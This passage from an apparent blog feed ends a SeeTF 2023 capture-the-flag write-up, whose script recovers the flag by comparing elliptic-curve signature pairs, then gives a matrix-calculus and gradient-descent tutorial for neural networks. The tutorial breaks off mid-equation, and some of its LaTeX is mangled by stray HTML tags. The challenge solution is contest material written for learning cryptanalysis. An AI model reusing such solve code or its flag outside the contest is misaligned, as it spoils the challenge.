<p>and we get <code>5345457b.5..737.5.7..5..737.5....5.d....5.737.75.5.57.7.5.73...7....74757..55..4..7374.....775..73...57.7d</code></p>
<p>For remaining digits:</p>
<pre><code>for i in tqdm(range(len(flag))):
    if flag[i]==&quot;.&quot;:
        r1, s1 = sigs[i]
        for j in range(len(sigs)):
            r2, s2 = sigs[j]
            a = E.lift_x(ZZ(r1)) * s1
            b = E.lift_x(ZZ(r2)) * s2
            try:
                thes = [(a-b) * pow(r1 - r2, -1, n), (a+b) * pow(r1 - r2, -1, n), (-a-b) * pow(r1 - r2, -1, n), (-a+b) * pow(r1 - r2, -1, n)]
            except Exception as e:
                continue
            if Gd in thes:
                flag[j] = i**2
                flag[i] = i**2

def replace_all(lst, old, new):
    return [x if x!=old else new for x in lst]
h = flag
for j in range(7):
    h = replace_all(h, remaining[j], &quot;TUVWXYZ&quot;[j])

hh = replace_all(h, &quot;T&quot;, &quot;6&quot;)
hh = replace_all(hh, &quot;Z&quot;, &quot;1&quot;)
hh = replace_all(hh, &quot;U&quot;, &quot;9&quot;)
hh = replace_all(hh, &quot;V&quot;, &quot;f&quot;)
hh = replace_all(hh, &quot;X&quot;, &quot;e&quot;)
realflag = &quot;&quot;
for i in range(0, len(hh), 2):
    if hh[i] not in &quot;TUVWXYZ&quot; and hh[i+1] not in &quot;TUVWXYZ&quot;:
        print(hh[i]+hh[i+1] + &quot;   &quot; + bytes.fromhex(hh[i]+hh[i+1]).decode())
        realflag+=bytes.fromhex(hh[i]+hh[i+1]).decode()
    else:
        print(hh[i]+hh[i+1])
        realflag+=&quot;?&quot;
</code></pre>
<p>which gets <code>SEE{easy_?easy_?emon_squee?y_signatu?e_distinguis?e?}</code> and the remaining digits can be guessed</p>
]]></description><link>https://nush.app/blog/2023/06/21/SeeTF-2023</link><guid isPermaLink="true">https://nush.app/blog/2023/06/21/SeeTF-2023</guid><pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate></item><item><title><![CDATA[Building Convolutional Neural Networks from Scratch - Part 1 (Matrix Calculus)]]></title><description><![CDATA[<h1>Mathematics</h1>
<p><strong>Mathematics</strong> is an area of knowledge, which includes the study of such topics as numbers, formulas and related structures, shapes and spaces in which they are contained, and quantities and their changes. There is no general consensus about its exact scope or epistemological status. However, it is extremely labourious and time-consuming but necessary and is sometimes (albeit very rarely) interesting.</p>
<p>Neural Networks are somewhat interesting. Everyone kind of knows the math behind NNs (the gist of it). It was taught in <strong>CS5131</strong> to a very limited extent but not many know about the full math behind deep and convolutional neural networks. I mean people get that it has something to do with backpropogation or whatever, but how do you scale it up to multiple value and multiple derivatives. As you will come to learn, these derivations are incredibly computationally intensive and time-consuming, especially during implementation. But I have done it because I care about AppVenture and I want to help the casual onlooker understand the many trials and tribulations a simple layer goes through to deliver what we should consider peak perfection. It was a fun but painful exercise and I gained a deeper understanding of the mathematical constructs that embody our world. Anyways, let&#39;s start out with a referesher. Warning that Matrix Math lurks ahead, so tread with caution. This is deeper than <strong>CS5131</strong> could have ever hoped to cover, so you will learn some stuff with this excercise. This first part is about the math behind deep neural networks.</p>
<p>This article is written with some assumed knowledge of the reader but it is not that bad for most CS students especially since NNs are baby level for the most part. Nonetheless, assumed knowledge is written below.</p>
<ul>
<li>Deep Neural Network (How to implement + basic understanding of the math)</li>
<li>Gradient Descent</li>
<li>Linear Algebra</li>
</ul>
<p>If you don&#39;t know this stuff, all you really need to do is read an introduction to linear algebra, understand how matrices and vectors are multiplied and watch 3b1b&#39;s series on machine learning.</p>
<p>Let&#39;s start by importing our bff for life, <strong>Numpy</strong>.</p>
<pre><code class="language-python">&gt;&gt;&gt; import numpy as np
</code></pre>
<p>Numpy is introduced in CS4132 (or PC6432 for some reason), but for a quick summary, it is a Linear Algebra library, which means it is VERY useful in this task.</p>
<h2>Gradient Descent Example (Linear System Solution)</h2>
<p>Observe the following series of mathematical equations:</p>
<p>$$
\begin{aligned}
4a+2b&amp;=22\
3a+8b&amp;=49
\end{aligned}
$$</p>
<p>Despite the fact that solving these is pretty easy (as we learnt in Year 1), let&#39;s try going with a different solution from what is usually portrayed. Let&#39;s try using <strong>gradient descent</strong>.</p>
<p>If you remember, Gradient Descent is a method used to solve any sort of equation by taking steps towards the real value by using calculus to predict the direction and size of the step. Essentially if you remember in calculus, the minimum of the graph will have a tangent of slope 0 and hence we can understand the direction of these &quot;steps&quot; to solve the problem. We just need a function where the derivative and function result approach 0 as you get closer to the true solution. This function is known as the objective function.</p>
<p>As you probably know, a linear equation is written as such:</p>
<p>$$
A \mathbf{x}-\mathbf{b}=0
$$</p>
<p>where $A$ is a known square matrix, $\mathbf{b}$ is a known vector and $\mathbf{x}$ is an unknown vector.</p>
<p>In this case, for the objective function we will use Linear Least Squares (LLS) function as it is an accurate thing to minimize in this case written below.</p>
<p>$$
F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}_{2}^{2}
$$</p>
<h3>Matrix Calculus</h3>
<p>Now, what do the weird lines and two occurences of &quot;2&quot; above mean and how exactly do we calculate the derivative of a scalar in terms of a vector? Well we have to learn matrix calculus, a very peculiar domain of math that is very torturous. Ideally, you want to avoid this at all cost, but I will do a gentle walk through this stuff.</p>
<p>Firstly, let&#39;s revise derivatives wth this simple example:</p>
<p>$$
\newcommand{\dv}[2]{\frac{\mathrm{d}{#1}}{\mathrm{d}{#2}}}
\newcommand{\ddv}[1]{\frac{\mathrm{d}}{\mathrm{d}{#1}}}
\begin{aligned}
y&amp;=\sin(x^2)+5\
\dv{y}{x}&amp;=\ddv{x}(\sin(x^2)+5)\
&amp;=2x \cos(x^2)
\end{aligned}
$$</p>
<p>For functions with multiple variables, we can find the partial derivative with respect to each of the variables, as shown below:</p>
<p>$$
\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}}
\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}}
\begin{aligned}
f(x,y)&amp;=3xy+x^2\
\ppv{x}(f(x,y))&amp;=3y+2x\
\ppv{y}(f(x,y))&amp;=3x
\end{aligned}
$$</p>
<p>A thing to understand is that vectors are just a collection of numbers, so an n-sized vector will have n partial derivatives if the function is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ (the derivative is known as the gradient). But do we represent these n partial derivatives as a column vector or row vector?</p>
<p>$$
\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}}
\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}}
\pv{y}{\mathbf{x}} =
\begin{bmatrix}
\pv{y}{\mathbf{x}<em>{1}}\
\pv{y}{\mathbf{x}</em>{2}}\
\vdots\
\pv{y}{\mathbf{x}_{n}}\
\end{bmatrix}
$$</p>
<p>$$
\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}}
\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}}
\pv{y}{\mathbf{x}} =
\begin{bmatrix}
\pv{y}{\mathbf{x}<em>{1}} &amp; \pv{y}{\mathbf{x}</em>{2}} &amp; \cdots &amp; \pv{y}{\mathbf{x}_{n}}
\end{bmatrix}
$$</p>
<p>Well, both actually can work (even if you think of a vector as a column vector), the first version is called the denominator layout and the second one is called the numerator layout. They are both transpositions of each other. For gradient descent the denominator layout is more natural because for standard practice because we think of a vector as a column vector. I also prefer the denominator layout. However, the numerator layout follows the rules of single variable calculus more normally and will be much easier to follow. For example, matrices do not have commutative multiplication so the direction you chain terms matters. We naturally think of chaining terms to the back and this is true for numerator layout but in denominator layout terms are chained to the front. Product rule also is more funny when it comes to denom layout. So moving forward we will stick with the numerator layout and transpose the matrix or vector once the derivative is found. We will also stick to column vectors.</p>
<p>First lets look at the $A\mathbf{x}-\mathbf{b}$ term and we will see why the derivative is so and so with a simple $2 \times 2$ case. $A\mathbf{x}-\mathbf{b}$ is a $f:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ and hence the derivative will be a matrix (known as the Jacobian to many). Lets first, see the general equation and work it out for every value.</p>
<h2>$$
\begin{aligned}
\mathbf{y} &amp;= A\mathbf{x}-\mathbf{b}\
\begin{bmatrix}
{\mathbf{y}}<em>{1} \
{\mathbf{y}}</em>{2}
\end{bmatrix}
&amp;=
\begin{bmatrix}
{a}<em>{11} &amp; {a}</em>{12}\
{a}<em>{21} &amp; {a}</em>{22}\
\end{bmatrix}
\begin{bmatrix}
{\mathbf{x}}<em>{1} \
{\mathbf{x}}</em>{2}
\end{bmatrix}</h2>
<p>\begin{bmatrix}
{\mathbf{b}}<em>{1} \
{\mathbf{b}}</em>{2}
\end{bmatrix} \
&amp;=
\begin{bmatrix}
{a}<em>{11}{\mathbf{x}}</em>{1} + {a}<em>{12}{\mathbf{x}}</em>{2}-{\mathbf{b}}<em>{1} \
{a}</em>{21}{\mathbf{x}}<em>{1} + {a}</em>{22}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{2}
\end{bmatrix}
\end{aligned}
$$</p>
<p>Now we calculate the Jacobian (remember that it is transposed) by calculating the individual derivative for every value.</p>
<p>$$
\begin{aligned}
\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &amp;=
\begin{bmatrix}
\frac{\partial {\mathbf{y}}<em>{1}}{\partial{\mathbf{x}}</em>{1}} &amp; \frac{\partial {\mathbf{y}}<em>{1}}{\partial{\mathbf{x}}</em>{2}}\
\frac{\partial {\mathbf{y}}<em>{2}}{\partial{\mathbf{x}}</em>{1}} &amp; \frac{\partial {\mathbf{y}}<em>{2}}{\partial{\mathbf{x}}</em>{2}}\
\end{bmatrix} \
\frac{\partial {\mathbf{y}}<em>{1}}{\partial{\mathbf{x}}</em>{1}} &amp;= {a}<em>{11}\
\frac{\partial {\mathbf{y}}</em>{1}}{\partial{\mathbf{x}}<em>{2}} &amp;= {a}</em>{12}\
\frac{\partial {\mathbf{y}}<em>{2}}{\partial{\mathbf{x}}</em>{1}} &amp;= {a}<em>{21}\
\frac{\partial {\mathbf{y}}</em>{2}}{\partial{\mathbf{x}}<em>{2}} &amp;= {a}</em>{22}\
\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &amp;=
\begin{bmatrix}
{a}<em>{11} &amp; {a}</em>{12}\
{a}<em>{21} &amp; {a}</em>{22}\
\end{bmatrix}
= A
\end{aligned}
$$</p>
<p>We see that it is kind of the same with single variable, where if we have $f(x)=ax$, then $f&#39;(x)=a$ where a is constant.</p>
<p>Now we look at the lines and &quot;2&quot;s. This is a common function known as the euclidean norm or 2-norm.</p>
<p>$$
|{\mathbf {x}}|<em>{2}:={\sqrt {x</em>{1}^{2}+\cdots +x_{n}^{2}}}
$$</p>
<p>We then square it giving rise to the second &quot;2&quot;. Now we define and do the same thing we did with $A\mathbf{x}-\mathbf{b}$, $|{\mathbf {y}}|_{2}^{2}$ is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$. Hence, the derivative is a row vector.</p>
<p>$$
\begin{aligned}
z&amp;=|{\mathbf {y}}|<em>{2}^{2}\
&amp;={\mathbf {y}}</em>{1}^{2} + {\mathbf {y}}_{2}^{2}
\end{aligned}
$$</p>
<p>Now we calculate the Gradient (remember that it is transposed) by calculating the individual derivative for every value.</p>
<p>$$
\begin{aligned}
\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &amp;=
\begin{bmatrix}
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}<em>{1}} &amp; \frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}</em>{2}}
\end{bmatrix} \
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}<em>{1}} &amp;= 2\mathbf{y}</em>{1} \
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}<em>{2}} &amp;= 2\mathbf{y}</em>{2} \
\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &amp;=
\begin{bmatrix}
2\mathbf{y}<em>{1} &amp; 2\mathbf{y}</em>{2}
\end{bmatrix}
= 2\mathbf{y}^{T}
\end{aligned}
$$</p>
<p>To illustrate the chain rule, I will calculate it individually and put it all together.</p>
<p>$$
\begin{aligned}
F(\mathbf{x}) &amp;= {||A\mathbf{x}-\mathbf{b}||}<em>{2}^{2} \
&amp;= {({a}</em>{11}{\mathbf{x}}<em>{1} + {a}</em>{12}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{1})}^{2} +
{({a}<em>{21}{\mathbf{x}}</em>{1} + {a}<em>{22}{\mathbf{x}}</em>{2}-{\mathbf{b}}_{2})}^{2} \
\end{aligned}
$$</p>
<p>Now we calculate the Final Gradient by calculating the individual derivative for every value.</p>
<p>$$
\begin{aligned}
\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &amp;=
\begin{bmatrix}
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}<em>{1}} &amp; \frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}</em>{2}}
\end{bmatrix}\
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}<em>{1}} &amp;= 2{a}</em>{11}({a}<em>{11}{\mathbf{x}}</em>{1} + {a}<em>{12}{\mathbf{x}}</em>{2}-{\mathbf{b}}<em>{1}) + 2{a}</em>{21}({a}<em>{21}{\mathbf{x}}</em>{1} + {a}<em>{22}{\mathbf{x}}</em>{2}-{\mathbf{b}}<em>{2})\
\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}</em>{2}} &amp;= 2{a}<em>{12}({a}</em>{11}{\mathbf{x}}<em>{1} + {a}</em>{12}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{1}) + 2{a}<em>{22}({a}</em>{21}{\mathbf{x}}<em>{1} + {a}</em>{22}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{2})\
\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &amp;=
\begin{bmatrix}
2{a}<em>{11}({a}</em>{11}{\mathbf{x}}<em>{1} + {a}</em>{12}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{1}) + 2{a}<em>{21}({a}</em>{21}{\mathbf{x}}<em>{1} + {a}</em>{22}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{2}) &amp; 2{a}<em>{12}({a}</em>{11}{\mathbf{x}}<em>{1} + {a}</em>{12}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{1}) + 2{a}<em>{22}({a}</em>{21}{\mathbf{x}}<em>{1} + {a}</em>{22}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{2})
\end{bmatrix}\
&amp;= 2
\begin{bmatrix}
{a}<em>{11}{\mathbf{x}}</em>{1} + {a}<em>{12}{\mathbf{x}}</em>{2}-{\mathbf{b}}<em>{1} &amp;
{a}</em>{21}{\mathbf{x}}<em>{1} + {a}</em>{22}{\mathbf{x}}<em>{2}-{\mathbf{b}}</em>{2}
\end{bmatrix}
\begin{bmatrix}
{a}<em>{11} &amp; {a}</em>{12} \
{a}<em>{21} &amp; {a}</em>{22} \
\end{bmatrix} = 2{(A\mathbf{x}-\mathbf{b})}^{T}A
\end{aligned}
$$</p>
<p>As we can see from that last step, its pretty complex an expression, but you can see how neat matrix notation is as compared to writing all that out and you see how matrix calculus works. With numerator layout, its very similar to single-variable but with a few extra steps.</p>
<p>I then transpose the derivative back into the denominator layout written below. The step function is also written below which we will use for the gradient descent.</p>
<p>$$
\begin{aligned}
F(\mathbf{x}) &amp;= {||A\mathbf{x}-\mathbf{b}||}^{2} \
\nabla F(\mathbf {x} ) &amp;= 2 A^{T}(A\mathbf {x} -\mathbf{b}) \
\mathbf{x}<em>{n+1} &amp;= \mathbf{x}</em>{n}-\gamma \nabla F(\mathbf {x} _{n})
\end{aligned}
$$</p>
<p>where $\gamma$ is the learning rate, we need a small learning rate as it prevents the function from taking large steps and objective functions tend to overblow the &quot;true&quot; error of a function.</p>
<p>We can now implement this in code form for a very simple linear system written below:</p>
<p>$$
\begin{aligned}
w+3x+2y-z=9\
5w+2x+y-2z=4\
x+2y+4z=24\
w+x-y-3z=-12
\end{aligned}
$$</p>
<p>This can be written as such in matrix form:</p>
<h1>$$
\begin{bmatrix}
1 &amp; 3 &amp; 2 &amp; -1\
5 &amp; 2 &amp; 1 &amp; -2\
0 &amp; 1 &amp; 2 &amp; 4\
1 &amp; 1 &amp; -1 &amp; -3
\end{bmatrix}
\begin{bmatrix}
w\
x\
y\
z
\end{bmatrix}</h1>
<p>\begin{bmatrix}
9\
4\
24\
-12
\end{bmatrix}
$$</p>
<h3>Code Implementation</h3>
<h4>Variables</h4>
<p>$$
A=
\begin{bmatrix}
1 &amp; 3 &amp; 2 &amp; -1\
5 &amp; 2 &amp; 1 &amp; -2\
0 &amp; 1 &amp; 2 &amp; 4\
1 &amp; 1 &amp; -1 &amp; -3
\end{bmatrix}
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; A = np.array([[1,3,2,-1],[5,2,1,-2],[0,1,2,4],[1,1,-1,-3]], dtype=np.float64)
&gt;&gt;&gt; A
array([[ 1.,  3.,  2., -1.],
       [ 5.,  2.,  1., -2.],
       [ 0.,  1.,  2.,  4.],
       [ 1.,  1., -1., -3.]])
</code></pre>
<p>$$
\mathbf{b}=
\begin{bmatrix}
9\
4\
24\
-12
\end{bmatrix}
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; b = np.array([[9],[4],[24],[-12]], dtype=np.float64)
&gt;&gt;&gt; b
array([[  9.],
       [  4.],
       [ 24.],
       [-12.]])
</code></pre>
<p>$$
\mathbf{x}=
\begin{bmatrix}
w\
x\
y\
z
\end{bmatrix}
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; x = np.random.rand(4,1)
&gt;&gt;&gt; x
array([[0.09257854],
       [0.16847643],
       [0.39120624],
       [0.78484474]])
</code></pre>
<h4>The Objective Function and its Derivative</h4>
<p>$$
F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}^{2}
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; def objective_function(x):
        return np.linalg.norm(np.matmul(A,x) - b) ** 2
</code></pre>
<p>$$
\nabla F(\mathbf {x} )=2A^{T}(A\mathbf {x} -\mathbf {b})
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; def objective_function_derivative(x):
        return 2 * np.matmul(A.T, np.matmul(A,x) - b)
</code></pre>
<p>In this case, I implemented an arbritary learning rate and arbritary step count. In traditional non-machine learning gradient descent, the learning rate changes per step and is determined via a heuristic such as the Barzilai–Borwein method, however this is not necessary as gradient descent is very robust. I used an arbritary step count for simplicity but you should ideally use some sort of boolean condition to break the loop such as $F(\mathbf{x})&lt;0.01$.</p>
<p>$$
\mathbf {x}<em>{n+1}=\mathbf {x}</em>{n}-\gamma \nabla F(\mathbf {x} _{n})
$$</p>
<pre><code class="language-python">&gt;&gt;&gt; learning_rate = 0.01
&gt;&gt;&gt; for i in range(5000):
        x -= learning_rate * objective_function_derivative(x)
&gt;&gt;&gt; x
array([[1.],
       [2.],
       [3.],
       [4.]])
</code></pre>
<p>And to check, we now use a simple matrix multiplication:</p>
<pre><code class="language-python">&gt;&gt;&gt; np.matmul(A,x)
array([[  9.],
       [  4.],
       [ 24.],
       [-12.]])
</code></pre>
<p>Voila, we have solved the equation with gradient descent, and the solution is super close. This shows the power of gradient descent.</p>
<h2>Deep Neural Network Layer</h2>
<p>To understand the math behind a deep neural network layer, we will first look at the single perceptron case.</p>
<p><img src="./single_perceptron_example.png" alt="single perceptron example"></p>
<p>$$
z=xw+b\
a=\sigma (z)
$$</p>
<p>where $w$ is the weight, $b$ is the bias, $x$ is the input, $\sigma$ is the activation function and $a$ is the output.</p>
<p>We assume that this is a single layer network and that the loss function is just applied after, and we will just use the MSE loss.</p>
<p>$$c = {(a-y)}^2$$</p>
<p>where $y$ is the true y, $c$ is the cost.</p>
<p>In this case, it is quite easy to represent. Let us expand it to a layer with 4 input neurons and 4 output neurons.</p>
<p><img src="./multiple_perceptron_example.png" alt="multiple perceptron example"></p>
<p>$$
\begin{aligned}
{w}<em>{11}{x}</em>{1} + {w}<em>{21}{x}</em>{2} + {w}<em>{31}{x}</em>{3} + {w}<em>{41}{x}</em>{4} + {b}<em>{1} = &amp;{z}</em>{1}\
{w}<em>{12}{x}</em>{1} + {w}<em>{22}{x}</em>{2} + {w}<em>{32}{x}</em>{3} + {w}<em>{42}{x}</em>{4} + {b}<em>{2} = &amp;{z}</em>{2}\
{w}<em>{13}{x}</em>{1} + {w}<em>{23}{x}</em>{2} + {w}<em>{33}{x}</em>{3} + {w}<em>{43}{x}</em>{4} + {b}<em>{3} = &amp;{z}</em>{3}\
{w}<em>{14}{x}</em>{1} + {w}<em>{24}{x}</em>{2} + {w}<em>{34}{x}</em>{3} + {w}<em>{44}{x}</em>{4} + {b}<em>{4} = &amp;{z}</em>{4}\
{a}<em>{1}=\sigma(&amp;{z}</em>{1})\
{a}<em>{2}=\sigma(&amp;{z}</em>{2})\
{a}<em>{3}=\sigma(&amp;{z}</em>{3})\
{a}<em>{4}=\sigma(&amp;{z}</em>{4})\
c = \frac{1}{4} \left((a_1-y_1)^2 + (a_2 - y_2)^2 + (a_3 - y_3)^2 + (a_4 - y_4)^2\right)
\end{aligned}
$$</p>
<p>As you can see, this is just a linear system much like the one showed in the example and it becomes very simple.</p>
<p>$$
\begin{aligned}
\mathbf{z} &amp;= W\mathbf{x} + \mathbf{b}\
\mathbf{a} &amp;= \sigma(\mathbf{z}) \
c &amp;= \frac{1}{n} ||\mathbf{a} - \mathbf{y}||^2_2
\end{aligned}
$$</p>
<p>From our work earlier we know that:</p>
<p>$$
\begin{aligned}
\frac{\partial \mathbf{z}}{\partial \mathbf{b}}&amp;=I \
\frac{\partial \mathbf{z}}{\partial \mathbf{x}}&amp;= W \
\frac{\partial c}{\partial \mathbf{a}} &amp;= \frac{2}{n} \left(\mathbf{a} - \mathbf{y} \right)^\text{T}
\end{aligned}
$$</p>
<p>However we have once again hit a speedbump. How do we find the derivative of a vector $\mathbf{z}$ with respect to a matrix $W$? The function is of the form $f:\mathbb{R}^{m \times n} \rightarrow \mathbb{R}^{m}$. Hence, the derivative will be a third order tensor also known as a 3D matrix. (colloquially) But for now we will use a trick to dodge the usage of third order tensors because of the nature of the function $W\mathbf{x}$. For this example, I use $m=3$ and $n=2$ but its generalizable for any sizes.</p>
<p>$$
\begin{aligned}
\mathbf{z} = W\mathbf{x} + \mathbf{b}\
\begin{bmatrix}
{\mathbf{z}}<em>{1} \
{\mathbf{z}}</em>{2} \
{\mathbf{z}}<em>{3}
\end{bmatrix} &amp;= \begin{bmatrix}
{w}</em>{11} &amp; {w}<em>{12}\
{w}</em>{21} &amp; {w}<em>{22}\
{w}</em>{31} &amp; {w}<em>{32}\
\end{bmatrix}
\begin{bmatrix}
{\mathbf{x}}</em>{1} \
{\mathbf{x}}<em>{2}
\end{bmatrix}
+
\begin{bmatrix}
{\mathbf{b}}</em>{1} \
{\mathbf{b}}<em>{2} \
{\mathbf{b}}</em>{3}
\end{bmatrix} \
&amp;=
\begin{bmatrix}
{w}<em>{11}{\mathbf{x}}</em>{1} + {w}<em>{12}{\mathbf{x}}</em>{2} + {\mathbf{b}}<em>{1}\
{w}</em>{21}{\mathbf{x}}<em>{1} + {w}</em>{22}{\mathbf{x}}<em>{2} + {\mathbf{b}}</em>{2}\
{w}<em>{31}{\mathbf{x}}</em>{1} + {w}<em>{32}{\mathbf{x}}</em>{2} + {\mathbf{b}}_{3}\
\end{bmatrix}
\end{aligned}
$$</p>
<p>We now calculate the individual derivatives of $\mathbf{z}$ wrt to $W$.</p>
<p>$$
\begin{aligned}
\frac{\partial \mathbf{z}<em>{1}}{\partial w</em>{11}}=\mathbf{x}<em>{1}\quad
\frac{\partial \mathbf{z}</em>{2}}{\partial w_{11}}=0\quad
\frac{\partial \mathbf{z}<em>{3}}{\partial w</em>{11}}=0\
\frac{\partial \mathbf{z}<em>{1}}{\partial w</em>{12}}=\mathbf{x}<em>{2}\quad
\frac{\partial \mathbf{z}</em>{2}}{\partial w_{12}}=0\quad
\frac{\partial \mathbf{z}<em>{3}}{\partial w</em>{12}}=0\
\frac{\partial \mathbf{z}<em>{1}}{\partial w</em>{21}}=0\quad
\frac{\partial \mathbf{z}<em>{2}}{\partial w</em>{21}}=\mathbf{x}<em>{1}\quad
\frac{\partial \mathbf{z}</em>{3}}{\partial w_{21}}=0\
\frac{\partial \mathbf{z}<em>{1}}{\partial w</em>{22}}=0\quad
\frac{\partial \mathbf{z}<em>{2}}{\partial w</em>{22}}=\mathbf{x}<em>{2}\quad
\frac{\partial \mathbf{z}</em>{3}}{\partial w_{22}}=0\
\frac{\partial \mathbf{z}<em>{1}}{\partial w</em>{31}}=0\quad
\frac{\partial \mathbf{z}<em>{2}}{\partial w</em>{31}}=0\quad
\frac{\partial \mathbf{z}<em>{3}}{\partial w</em>{31}}=\mathbf{x}<em>{1}\
\frac{\partial \mathbf{z}</em>{1}}{\partial w_{32}}=0\quad
\frac{\partial \mathbf{z}<em>{2}}{\partial w</em>{32}}=0\quad
\frac{\partial \mathbf{z}<em>{3}}{\partial w</em>{32}}=\mathbf{x}_{2}\
\end{aligned}
$$</p>
<p>We see that this is a pretty complex looking tensor but we see that a majority of the values are 0 allowing us to pull of an epic hack by considering the fact that at the end we are essentially trying to get a singular scalar value (the loss) and find the partial derivative of that wrt to $W$. There are some steps involved in getting from $\mathbf{z}$ to $c$ but for simplicity instead of showing everything, we will condense all of this into a function $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ which is defined as $c=f(\mathbf{z})$. In this case, we know the tensor values and we know the gradient and what the derivative should be. Hence, we now just evaluate it and see if we can see any property:</p>
<h1>$$
\begin{aligned}
\frac{\partial c}{\partial\mathbf{z}} &amp;=
\begin{bmatrix}
\frac{\partial c}{\partial{\mathbf{z}}<em>{1}} &amp; \frac{\partial c}{\partial{\mathbf{z}}</em>{2}} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{2}}
\end{bmatrix} \
\frac{\partial c}{\partial W} =
\begin{bmatrix}
\frac{\partial c}{\partial{w}</em>{11}} &amp; \frac{\partial c}{\partial{w}<em>{21}} &amp; \frac{\partial c}{\partial{w}</em>{31}}\
\frac{\partial c}{\partial{w}<em>{12}} &amp; \frac{\partial c}{\partial{w}</em>{22}} &amp; \frac{\partial c}{\partial{w}_{32}}
\end{bmatrix}</h1>
<h1>\frac{\partial c}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{W}}
&amp;=
\begin{bmatrix}
\frac{\partial c}{\partial{\mathbf{z}}<em>{1}}\frac{\partial {\mathbf{z}}</em>{1}}{\partial{w}<em>{11}} &amp; \frac{\partial c}{\partial{\mathbf{z}}</em>{2}}\frac{\partial {\mathbf{z}}<em>{2}}{\partial{w}</em>{21}} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{3}}\frac{\partial {\mathbf{z}}</em>{3}}{\partial{w}<em>{31}}\
\frac{\partial c}{\partial{\mathbf{z}}</em>{1}}\frac{\partial {\mathbf{z}}<em>{1}}{\partial{w}</em>{12}} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{2}}\frac{\partial {\mathbf{z}}</em>{2}}{\partial{w}<em>{22}} &amp; \frac{\partial c}{\partial{\mathbf{z}}</em>{3}}\frac{\partial {\mathbf{z}}<em>{3}}{\partial{w}</em>{32}}
\end{bmatrix}</h1>
<h1>\begin{bmatrix}
\frac{\partial c}{\partial{\mathbf{z}}<em>{1}}\mathbf{x}</em>{1} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{2}}\mathbf{x}</em>{1} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{3}}\mathbf{x}</em>{1}\
\frac{\partial c}{\partial{\mathbf{z}}<em>{1}}\mathbf{x}</em>{2} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{2}}\mathbf{x}</em>{2} &amp; \frac{\partial c}{\partial{\mathbf{z}}<em>{3}}\mathbf{x}</em>{2}
\end{bmatrix}</h1>
<p>\mathbf{x}\frac{\partial c}{\partial\mathbf{z}}
\end{aligned}
$$</p>
<p>Wonderful, we have just found out this amazing method, where we just add $\mathbf{x}$ to the front. Normally this method is not possible but it is just possible in this special case as we dont have to consider terms such as $\frac{\partial c}{\partial{\mathbf{z}}<em>{2}}\frac{\partial {\mathbf{z}}</em>{2}}{\partial{w}_{11}}$ because they are just 0. It helps us dodge all the possibilites of tensor calculus (at least for now) and allows the NumPy multiplication to be much easier. $f$ can also generalize for any vector to scalar function, not just the specific steps we make.</p>
<p>The next speedbump is much more easier to grasp than the last one, and that is element-wise operations. In this case, we have the activation function $\sigma:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ or $\sigma:\mathbb{R} \rightarrow \mathbb{R}$, which looks like a sigmoid function, but this is just a placeholder function. It can be any $\mathbb{R}$ to $\mathbb{R}$ activation function, such as $\text{RELU}(x) = \text{max}(x, 0)$, or whatever else has been found in research, such as SMELU and GELU. Once again, we work it out for every single value, as shown below:</p>
<h1>$$
\begin{aligned}
\mathbf{a} &amp;= \sigma(\mathbf{z})\
\begin{bmatrix}
{\mathbf{a}}<em>{1} \
{\mathbf{a}}</em>{2} \
{\mathbf{a}}<em>{3}
\end{bmatrix}
&amp;=
\sigma\left(
\begin{bmatrix}
{\mathbf{z}}</em>{1} \
{\mathbf{z}}<em>{2} \
{\mathbf{z}}</em>{3}
\end{bmatrix}\right)</h1>
<p>\begin{bmatrix}
\sigma({\mathbf{z}}<em>{1}) \
\sigma({\mathbf{z}}</em>{2}) \
\sigma({\mathbf{z}}_{3})
\end{bmatrix}
\end{aligned}
$$</p>
<p>Now for the 48th billion time, we calculate the Jacobian by calculating every individual derivative to get the general property of the operation.</p>
<p>$$
\begin{aligned}
\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &amp;=
